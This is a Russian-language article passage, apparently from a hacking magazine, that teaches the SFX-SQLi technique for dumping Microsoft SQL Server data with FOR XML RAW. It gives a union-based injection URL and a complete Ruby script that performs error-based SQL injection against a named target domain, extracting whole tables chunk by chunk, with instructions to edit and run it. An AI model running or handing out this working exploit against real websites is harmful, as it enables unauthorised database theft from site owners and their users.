• Партнер

  • Можно воспользоваться уже привычными
    инструментами вроде SIPT или Pangolin. А можно использовать
    технику SFX-SQLi. Именно на ней остановлюсь чуть подробнее.

    В
    MSSQL 2000 c помощью оператора FOR XML можно получать результаты
    запроса в виде XML.

    SELECT * FROM information_schema.tables FOR XML RAW;

    Что вернет содержимое таблицы в виде XML. Однако в MSSQL 2000
    выражение FOR XML не может быть использовано в подзапросе,
    поэтому дампить данные с помощью FOR XML можно, начиная с 2005
    версии MSSQL-сервера.

    1. Когда есть обычный вывод с помощью union (news.asp?id=1
    union select top 1 null,null,null,table_name from
    information_schema.tables--
    ), воспользуйся утилитой от
    Daniel Kachakil. Скачать ее можно тут:

    http://www.kachakil.com/papers/SFX-SQLi-en.htm
    .

    2. Комбинируя метод SFX-SQLi с функцией substring(), можно
    дампить данные и через вывод в ошибке(error-based SQLi).
    Специально для этого я написал скрипт на Руби:

    #! /usr/bin/ruby
    #настройки тут
    site="kbaptupa.ru"# доменное имя
    path="/dir/linkdetail.aspx"# путь до уязвимого скрипта
    inject="id=1+and+1="#уязвимый параметр
    table="information_schema.columns" #название таблицы, которую
    дампить
    #дальше ничего не меняем
    require 'net/http'
    require 'cgi'
    outputlength =0
    http = Net::HTTP.new(site, 80)
    pagepath = "#{path}?#{inject}'#{'a'*4000}'"
    resp, data = http.get(pagepath, nil)
    outputlength = data.scan(%r{Conversion failed when converting
    the varchar value '(.*?)\.\.\.}im)[0].to_s.length - 20
    startindex =0
    print "<#{table}>"
    while true do
    request =
    "#{path}?#{inject}substring((select+*+from+#{table}+FOR+XML+RAW),#{startindex},#{outputlength})--"
    resp, data = http.get(request, nil)
    match= data.scan(/Conversion failed when converting the nvarchar
    value '([\w\W]*?)' to data type int/im)
    break if match[0].to_s.length<outputlength or !match.any?
    print CGI.unescapeHTML(match[0].to_s)
    startindex+=outputlength
    end
    print "</#{table}>"

    Отредактируй скрипт (внеси данные своей SQLi), а потом
    запусти его так:

    $ ruby sfxsqli.rb > dump.xml

    В файле dump.xml ты получишь данные таблицы в xml.

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии